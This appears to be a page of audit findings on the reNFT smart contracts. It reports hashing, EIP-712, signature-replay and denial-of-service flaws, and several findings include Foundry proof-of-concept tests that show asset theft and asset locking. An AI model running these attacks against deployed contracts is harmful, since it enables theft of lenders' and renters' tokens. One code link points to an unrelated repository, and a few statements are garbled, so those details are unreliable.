reNFT - 0xpiken's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195

Vulnerability details

Impact

A malicious user can create an ERC1155 rental order, rent it themselves, and then repay the order using rental assets belonging to other renters. This could lead to affected orders being unable to be stopped:

• malicious user can use stolen ERC1155 asset to play and earn
• lender loses their ERC1155 asset
• lender or renter of affected order can not withdraw ERC20 token earnings

Proof of Concept

The rental process in reNFT can simply be described as follows:

• lender create an rental order.
• renter fulfills the rental order.
• When the rental order is fulfilled, Create#validateOrder() will be executed to verify if the rental order is valid.
• An event Events.RentalOrderStarted() will be emitted, providing information of order.
• When the rental order is expired, anyone can reccall Stop#stopRent() to stop it.
• The hash of provided order will be used to check if order is valid by calling Storage#removeRentals(). All rental / payment assets will be settled once order is valid.

However, order.rentalWallet was not included when calculating the hash of order, allowing it to be changed to any address. If somehow two rental orders own same ERC1155 rental assets, one order can repayed with ERC1155 token in the other order.

Copy below codes to StopRent.t.sol and run forge test --match-test test_stopRent_RepayBaseOrder_WithRentalAssetsFromOtherOrder

    function test_stopRent_RepayBaseOrder_WithRentalAssetsFromOtherOrder() public {
        //@audit-info mint ERC1155 token to alice (tokenId: 0, amount 6e18)
        MockERC1155 gameToken = new MockERC1155();
        gameToken.mint(alice.addr, 3e18+3);
        vm.prank(alice.addr);
        gameToken.setApprovalForAll(address(conduit), true);

        ProtocolAccount[] memory renters = new ProtocolAccount[](3);
        renters[0] = bob;
        renters[1] = carol;
        renters[2] = dan;        
        RentalOrder[] memory rentalOrders = new RentalOrder[](3);
        // create 3 orders and fulfillments
        for (uint256 i = 0; i < 3; i++) {
            // create a BASE order
            createOrder({
                offerer: alice,
                orderType: OrderType.BASE,
                erc721Offers: 0,
                erc1155Offers: 0,
                erc20Offers: 0,
                erc721Considerations: 0,
                erc1155Considerations: 0,
                erc20Considerations: 1
            });
            //@audit-info replace off items with ERC1155 rental asset
            OfferItem[] memory offers = new OfferItem[](1);
            offers[0] = OfferItem({
                itemType: SeaportItemType.ERC1155,
                token: address(gameToken),
                identifierOrCriteria: 0,
                startAmount: 1e18+i,
                endAmount: 1e18+i
            });
            withReplacedOfferItems(offers);
            // finalize the order creation
            (
                Order memory order,
                bytes32 orderHash,
                OrderMetadata memory metadata
            ) = finalizeOrder();

            // create an order fulfillment
            createOrderFulfillment({
                _fulfiller: renters[i],
                order: order,
                orderHash: orderHash,
                metadata: metadata
            });
            rentalOrders[i] = finalizeBaseOrderFulfillment();
            //@audit-info check if ERC1155 token has been transferred to rentalWallet
            assertEq(gameToken.balanceOf(rentalOrders[i].rentalWallet, 0), 1e18+i);
        }

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);
    
        address rentalWalletOfBob = rentalOrders[0].rentalWallet;
        //@audit-info stop bob's rental order with carol's reantalWallet.
        rentalOrders[0].rentalWallet = rentalOrders[1].rentalWallet;
        stop.stopRent(rentalOrders[0]);
        //@audit-info bob's rental order is stoped
        assertFalse(STORE.orders(create.getRentalOrderHash(rentalOrders[0])));
        //@audit-info however, bob still keep rental asset in his reantalWallet
        assertEq(gameToken.balanceOf(rentalWalletOfBob, 0), 1e18);
        //@audit-info carol lost almost all rental asset
        assertEq(gameToken.balanceOf(rentalOrders[1].rentalWallet, 0), 1);
        //@audit-info there is no way to stop bob's rental order since it has been stoped
        rentalOrders[0].rentalWallet = rentalWalletOfBob;
        vm.expectRevert(abi.encodeWithSelector(Errors.StorageModule_OrderDoesNotExist.selector, create.getRentalOrderHash(rentalOrders[0])));
        stop.stopRent(rentalOrders[0]);
        //@audit-info there is no way to stop carol's rental order since the rental asset is insufficient
        vm.expectRevert(Errors.StopPolicy_ReclaimFailed.selector);
        stop.stopRent(rentalOrders[1]);
    }

Tools Used

Manual review

Recommended Mitigation Steps

order.rentalWallet must be included when calculating the hash of order:

    function _deriveRentalOrderHash(
        RentalOrder memory order
    ) internal view returns (bytes32) {
        // Create arrays for items and hooks.
        bytes32[] memory itemHashes = new bytes32[](order.items.length);
        bytes32[] memory hookHashes = new bytes32[](order.hooks.length);

        // Iterate over each item.
        for (uint256 i = 0; i < order.items.length; ++i) {
            // Hash the item.
            itemHashes[i] = _deriveItemHash(order.items[i]);
        }

        // Iterate over each hook.
        for (uint256 i = 0; i < order.hooks.length; ++i) {
            // Hash the hook.
            hookHashes[i] = _deriveHookHash(order.hooks[i]);
        }

        return
            keccak256(
                abi.encode(
                    _RENTAL_ORDER_TYPEHASH,
                    order.seaportOrderHash,
                    keccak256(abi.encodePacked(itemHashes)),
                    keccak256(abi.encodePacked(hookHashes)),
                    order.orderType,
                    order.lender,
                    order.renter,
+                   order.rentalWallet,
                    order.startTimestamp,
                    order.endTimestamp
                )
            );
    }

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L218-L239

Vulnerability details

Impact

Due to missing of orderType and emittedExtraData in calculation, the metadata hash is not EIP-712 compliant.

Moreover, altering orderType and emittedExtraData can still pass signature verification, this may cause new risk.

Proof of Concept

In Signer.sol, _ORDER_METADATA_TYPEHASH is initialized in constructor():

        (
            _ITEM_TYPEHASH,
            _HOOK_TYPEHASH,
            _RENTAL_ORDER_TYPEHASH,
            _ORDER_FULFILLMENT_TYPEHASH,
@>          _ORDER_METADATA_TYPEHASH,
            _RENT_PAYLOAD_TYPEHASH
        ) = _deriveRentalTypehashes();

The value is calculated in _deriveRentalTypehashes():

384:            // Construct the OrderMetadata type string.
385:            bytes memory orderMetadataTypeString = abi.encodePacked(
386:                "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)"
387:            );

405:            // Derive the OrderMetadata type hash using the corresponding type string.
406:            orderMetadataTypeHash = keccak256(orderMetadataTypeString);

From above codes we can see that orderType and emittedExtraData are included in EIP-712 typehash of OrderMetadata. However, either orderType or emittedExtraData is involved in the metadata hash calculation:

    function _deriveOrderMetadataHash(
        OrderMetadata memory metadata
    ) internal view returns (bytes32) {
        // Create array for hooks.
        bytes32[] memory hookHashes = new bytes32[](metadata.hooks.length);

        // Iterate over each hook.
        for (uint256 i = 0; i < metadata.hooks.length; ++i) {
            // Hash the hook
            hookHashes[i] = _deriveHookHash(metadata.hooks[i]);
        }

        // Derive and return the metadata hash as specified by EIP-712.
        return
@>          keccak256(
@>              abi.encode(
@>                  _ORDER_METADATA_TYPEHASH,
@>                  metadata.rentDuration,
@>                  keccak256(abi.encodePacked(hookHashes))
@>              )
@>          );
    }

Furthermore, _deriveOrderMetadataHash() is used during payload signature verification in Create#validateOrder():

        address signer = _recoverSignerFromPayload(
            _deriveRentPayloadHash(payload),
            signature
        );

    function _deriveRentPayloadHash(
        RentPayload memory payload
    ) internal view returns (bytes32) {
        // Derive and return the rent payload hash as specified by EIP-712.
        return
            keccak256(
                abi.encode(
                    _RENT_PAYLOAD_TYPEHASH,
                    _deriveOrderFulfillmentHash(payload.fulfillment),
                    _deriveOrderMetadataHash(payload.metadata),
                    payload.expiration,
                    payload.intendedFulfiller
                )
            );
    }

As the signature verification doesn't encompass orderType and emittedExtraData, any modifications to them will not impact the verification outcome.

Tools Used

Manual review

Recommended Mitigation Steps

orderType and emittedExtraData should be included in metadata hash calculation:

    function _deriveOrderMetadataHash(
        OrderMetadata memory metadata
    ) internal view returns (bytes32) {
        // Create array for hooks.
        bytes32[] memory hookHashes = new bytes32[](metadata.hooks.length);

        // Iterate over each hook.
        for (uint256 i = 0; i < metadata.hooks.length; ++i) {
            // Hash the hook
            hookHashes[i] = _deriveHookHash(metadata.hooks[i]);
        }

        // Derive and return the metadata hash as specified by EIP-712.
        return
            keccak256(
                abi.encode(
                    _ORDER_METADATA_TYPEHASH,
+                   metadata.orderType,
                    metadata.rentDuration,
-                   keccak256(abi.encodePacked(hookHashes))
+                   keccak256(abi.encodePacked(hookHashes)),
+                   metadata.emittedExtraData
                )
            );
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L348-L358

Vulnerability details

Impact

Due to the use of non EIP-712 compliant typehashes, the signature verification will fail.

Proof of Concept

[EIP-712] defines hashStruct as below:

Definition of hashStruct The hashStruct function is defined as hashStruct(s : 𝕊) = keccak256(typeHash ‖ encodeData(s)) where typeHash = keccak256(encodeType(typeOf(s))) Note: The typeHash is a constant for a given struct type and does not need to be runtime computed. Definition of encodeType The type of a struct is encoded as name ‖ "(" ‖ member₁ ‖ "," ‖ member₂ ‖ "," ‖ … ‖ memberₙ ")" where each member is written as type ‖ " " ‖ name. For example, the above Mail struct is encoded as Mail(address from,address to,string contents). If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. An example encoding is Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name).

However, some of typehashs don't follow above rules:

Hook struct was not included when calculating orderMetadataTypeHash:

Signer.sol#L406:

            orderMetadataTypeHash = keccak256(orderMetadataTypeString);

Signer.sol#L384-L386:

            bytes memory orderMetadataTypeString = abi.encodePacked(
                "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)"
            );

Hook struct was not included when calculating rentPayloadTypeHash, and the order of orderMetadataTypeString and orderFulfillmentTypeString was wrong:

Signer.sol#L374-L400:

        {
            // Construct the OrderFulfillment type string.
            bytes memory orderFulfillmentTypeString = abi.encodePacked(
                "OrderFulfillment(address recipient)"
            );

            // Construct the OrderMetadata type string.
            bytes memory orderMetadataTypeString = abi.encodePacked(
                "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)"
            );

            // Construct the RentPayload type string.
            bytes memory rentPayloadTypeString = abi.encodePacked(
                "RentPayload(OrderFulfillment fulfillment,OrderMetadata metadata,uint256 expiration,address intendedFulfiller)"
            );

            // Derive RentPayload type hash via combination of relevant type strings.
            rentPayloadTypeHash = keccak256(
                abi.encodePacked(
                    rentPayloadTypeString,
                    orderMetadataTypeString,
                    orderFulfillmentTypeString
                )
            );

Tools Used

Manual review

Recommended Mitigation Steps

Any typehash must be EIP-712 compliant.

Change orderMetadataTypeHash calculation as below:

-           orderMetadataTypeHash = keccak256(orderMetadataTypeString);
+           orderMetadataTypeHash = keccak256(abi.encodePacked(orderMetadataTypeString, hookTypeString));

Change rentPayloadTypeHash calculation as below (referenced struct types should be sorted by name):

            rentPayloadTypeHash = keccak256(
                abi.encodePacked(
                    rentPayloadTypeString,
+                   hookTypeString,
+                   orderFulfillmentTypeString,
+                   orderMetadataTypeString
-                   orderMetadataTypeString,
-                   orderFulfillmentTypeString
                )
            );

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Create.sol#L760-L763

Vulnerability details

Impact

A malicious user could potentially fulfill all PAY orders that own the same value of zonehash

Proof of Concept

The rental process in reNFT can simply be described as follows:

1. lender create either BASE or PAY order, which includes a zoneHash.
2. renter fulfills the rental order by providing certain items, including fulfiller, payload(a structured data of RentPayload), and its corresponding signature.
3. Once the rental order is created, Create#validateOrder() will be executed to verify if the rental order is valid:
   • decode payload and its signature from zoneParams.extraData
   • Check if the signature is expired by comparing payload.expiration and block.timestamp
   • Recover the signer from payload and its signature and check if the signer is protocol signer
   • check if zonehash is equal to the derived hash of payload.metadata

Let's take a look at RentPayload and its referenced structures:

struct RentPayload {
    OrderFulfillment fulfillment;
    OrderMetadata metadata;
    uint256 expiration;
    address intendedFulfiller;
}
struct OrderFulfillment {
    // Rental wallet address.
    address recipient;
}
struct OrderMetadata {
    // Type of order being created.
    OrderType orderType;
    // Duration of the rental in seconds.
    uint256 rentDuration;
    // Hooks that will act as middleware for the items in the order.
    Hook[] hooks;
    // Any extra data to be emitted upon order fulfillment.
    bytes emittedExtraData;
}

By observing all items in Rentpayload, it's obvious that there is no way to verify whether the signature of a payload has been used or not. The signature verification can always be passed as long as it has not expired.

If multiple PAY rental orders own the same metadata, a user could potentially utilize their payload and unexpired signature to fulfill all these rental orders and acquire rental earnings. Since OrderMetadata structure is very simple, the chance that two different orders own same metadata could be high.

Update testcase test_stopRentBatch_payOrders_allDifferentLenders()in StopRentBatch.t.sol with below codes and run forge test --match-test test_stopRentBatch_payOrders_allDifferentLenders:

    function test_stopRentBatch_payOrders_allDifferentLenders() public {
        // create an array of offerers
        ProtocolAccount[] memory offerers = new ProtocolAccount[](3);
        offerers[0] = alice;
        offerers[1] = bob;
        offerers[2] = carol;

        // for each offerer, create an order and a fulfillment
        for (uint256 i = 0; i < offerers.length; i++) {
            // create a PAY order
            createOrder({
                offerer: offerers[i],
                orderType: OrderType.PAY,
                erc721Offers: 1,
                erc1155Offers: 0,
                erc20Offers: 1,
                erc721Considerations: 0,
                erc1155Considerations: 0,
                erc20Considerations: 0
            });

            // finalize the pay order creation
            (
                Order memory payOrder,
                bytes32 payOrderHash,
                OrderMetadata memory payOrderMetadata
            ) = finalizeOrder();

            // create a PAYEE order. The fulfiller will be the offerer.
            createOrder({
                offerer: dan,
                orderType: OrderType.PAYEE,
                erc721Offers: 0,
                erc1155Offers: 0,
                erc20Offers: 0,
                erc721Considerations: 1,
                erc1155Considerations: 0,
                erc20Considerations: 1
            });

            // finalize the pay order creation
            (
                Order memory payeeOrder,
                bytes32 payeeOrderHash,
                OrderMetadata memory payeeOrderMetadata
            ) = finalizeOrder();

            // create an order fulfillment for the pay order
            createOrderFulfillment({
                _fulfiller: dan,
                order: payOrder,
                orderHash: payOrderHash,
                metadata: payOrderMetadata
            });

            // create an order fulfillment for the payee order
            createOrderFulfillment({
                _fulfiller: dan,
                order: payeeOrder,
                orderHash: payeeOrderHash,
                metadata: payeeOrderMetadata
            });
+           console.logBytes(ordersToFulfill[i*2].advancedOrder.extraData);

            // add an amendment to include the seaport fulfillment structs
            withLinkedPayAndPayeeOrders({
                payOrderIndex: (i * 2),
                payeeOrderIndex: (i * 2) + 1
            });
        }

        // finalize the order pay/payee order fulfillments
        RentalOrder[] memory rentalOrders = finalizePayOrdersFulfillment();

        // pull out just the PAY orders
        RentalOrder[] memory payRentalOrders = new RentalOrder[](3);
        for (uint256 i = 0; i < rentalOrders.length; i++) {
            if (rentalOrders[i].orderType == OrderType.PAY) {
                payRentalOrders[i / 2] = rentalOrders[i];
            }
        }

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // renter stops the rental order
        vm.prank(dan.addr);
        stop.stopRentBatch(payRentalOrders);

        // for each rental order stopped, perform some assertions
        for (uint256 i = 0; i < payRentalOrders.length; i++) {
            // assert that the rental order doesnt exist in storage
            assertEq(STORE.orders(payRentalOrders[i].seaportOrderHash), false);

            // assert that the token is no longer rented out in storage
            assertEq(
                STORE.isRentedOut(
                    payRentalOrders[i].rentalWallet,
                    address(erc721s[0]),
                    i
                ),
                false
            );

            // assert that the ERC721 is back to its original owner
            assertEq(erc721s[0].ownerOf(i), address(offerers[i].addr));

            // assert that each offerer made a payment
            assertEq(erc20s[0].balanceOf(offerers[i].addr), uint256(9900));
        }

        // assert that the payments were pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));

        // assert that the fulfiller was paid for each order
        assertEq(erc20s[0].balanceOf(dan.addr), uint256(10300));
    }

You may find out that all extraData are same although the rental orders are created by different lenders.

Tools Used

Manual review

Recommended Mitigation Steps

Introduces a field into RentPayload to ensure every payload unique. It is feasible using orderHash of the rental order:

struct RentPayload {
    bytes32 orderHash;
    OrderFulfillment fulfillment;
    OrderMetadata metadata;
    uint256 expiration;
    address intendedFulfiller;
}

Assessed type

Other

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L293 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L296

Vulnerability details

Impact

• lender of a BASE order can not stop the order, and all their rental assets and earning tokens could be locked in the protocol forever
• lender of a PAY order can not terminate the order as their wish, and their rental assets could be locked in the protocol forever
• renter of a PAY order can not stop the order, and their earning are locked in the protocol forever

In the most serious scenario, a user blacklisted by a specific ERC20 token might exploit the opportunity to fulfill any PAY order, locking the rental assets in the protocol forever.

Proof of Concept

Once a rental order is created, eligible user has right to terminate the order by calling stopRent() or stopRentBatch():

• BASE order
  • Expired: any one can stop it. Rental assets are returned to lender. Payment assets are paid to lender.
• PAY order
  • Expired: any one can stop it. Rental assets are returned to lender. Payment assets are paid to renter.
  • Not expired: Only lender can stop it. Rental assets are returned to lender. Payment assets are distributed to renter in proportion to the elapsed rental time. The rest are returned to lender.

However, since the PUSH way is used to transfer all assets, stopRent() or stopRentBatch() could encounter failures under various circumstances:

• lender is blacklisted by one of payment assets:
  • No one can stop BASE order. All lender's rental assets and earnings are locked forever.(An example of ERC20 asset with blacklist function: USDC)
  • lender can not terminate PAY order in advance. All payment assets have to be paid to renter after rental time expired.
• lender is blacklisted by one of payment assets:
  • No one can stop BASE order. All lender's rental assets and earings are locked forever.
  • No one can stop PAY order. All rental assets and renter's earnings are locked in the protocol forever.
• One of rental/payment assets is paused(An example of pausable ERC1155 asset: Shezmu Guardian):
  • No one can stop BASE order. All lender's rental assets and earnings are locked in the protocol. The order can only be stoped when the paused asset is unpaused.
  • lender can not stop PAY order before it is expired. lender have to pay renter more that expected until the paused asset is unpaused.
  • If somehow the paused asset can not be unpaused, all rental/payment assets will be locked in the protocol forever.
• renter is blacklisted by one of payment assets:
  • No one can stop PAY order. All rental assets and renter's earnings are locked in the protocol forever.

Copy below codes to StopRent.t.sol and run forge test --match-test test_StopRent_PayOrder_InFull_StoppedByLender_RenterIsBlacklisted --fork-url ETHEREUM_RPC_URL(Replace ETHEREUM_RPC_URL with valid ethereum mainnet rpc url):

    function test_StopRent_PayOrder_InFull_StoppedByLender_RenterIsBlacklisted() public {
        //@audit-info USDC address on etherum mainnet
        address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
        address whale = 0x28C6c06298d514Db089934071355E5743bf21d60;
        //@audit-info blacklister of USDC
        address blacklister = 0x10DF6B6fe66dd319B1f82BaB2d054cbb61cdAD2e;
        //@audit-info set erc20s[0] to USDC 
        erc20s[0] = MockERC20(USDC);
        //@audit-info deposit 100 USDC to alice
        vm.prank(whale);
        erc20s[0].transfer(alice.addr, 100);
        vm.prank(alice.addr);
        erc20s[0].approve(address(conduit), type(uint256).max);
        //@audit-info blacklist bob by calling USDC.blacklist(bob)
        vm.prank(blacklister);
        (bool success, ) = USDC.call(abi.encodeWithSignature("blacklist(address)", bob.addr));
        assert(success);

        // create a PAY order
        createOrder({
            offerer: alice,
            orderType: OrderType.PAY,
            erc721Offers: 1,
            erc1155Offers: 0,
            erc20Offers: 1,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 0
        });

        // finalize the pay order creation
        (
            Order memory payOrder,
            bytes32 payOrderHash,
            OrderMetadata memory payOrderMetadata
        ) = finalizeOrder();

        // create a PAYEE order. The fulfiller will be the offerer.
        createOrder({
            offerer: bob,
            orderType: OrderType.PAYEE,
            erc721Offers: 0,
            erc1155Offers: 0,
            erc20Offers: 0,
            erc721Considerations: 1,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the pay order creation
        (
            Order memory payeeOrder,
            bytes32 payeeOrderHash,
            OrderMetadata memory payeeOrderMetadata
        ) = finalizeOrder();

        // create an order fulfillment for the pay order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payOrder,
            orderHash: payOrderHash,
            metadata: payOrderMetadata
        });

        // create an order fulfillment for the payee order
        createOrderFulfillment({
            _fulfiller: bob,
            order: payeeOrder,
            orderHash: payeeOrderHash,
            metadata: payeeOrderMetadata
        });

        // add an amendment to include the seaport fulfillment structs
        withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1});

        // finalize the order pay/payee order fulfillment
        (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        //@audit-info alice can not stop the order due to bob is blacklisted, resulting the rental asset locked in the protocol
        vm.expectRevert();
        vm.prank(alice.addr);
        stop.stopRent(payRentalOrder);
        //@audit-info un-blacklist bob by calling USDC.unBlacklist(bob)
        vm.prank(blacklister);
        (success, ) = USDC.call(abi.encodeWithSignature("unBlacklist(address)", bob.addr));
        assert(success);
        //@audit-info alice can only stop the rental order when bob is un-blacklisted.
        vm.prank(alice.addr);
        stop.stopRent(payRentalOrder);

        // get the rental order hashes
        bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder);

        // assert that the rental order doesnt exist in storage
        assertEq(STORE.orders(payRentalOrderHash), false);

        // assert that the token is no longer rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), false);

        // assert that the ERC721 is back to its original owner
        assertEq(erc721s[0].ownerOf(0), address(alice.addr));

        // assert that the offerer made a payment
        assertEq(erc20s[0].balanceOf(alice.addr), uint256(0));

        // assert that the fulfiller received the payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(100));

        // assert that a payment was pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0));
    }

Tools Used

Manual review

Recommended Mitigation Steps

• Keep order stopping and assets transferring in two separate functions. The failure of asset transferring should not impact the process of order stopping.
• Allow eligible users to claim rental assets or earnings as their wish. The failure of one asset transfer should not impact the ability to claim other assets.

Assessed type

DoS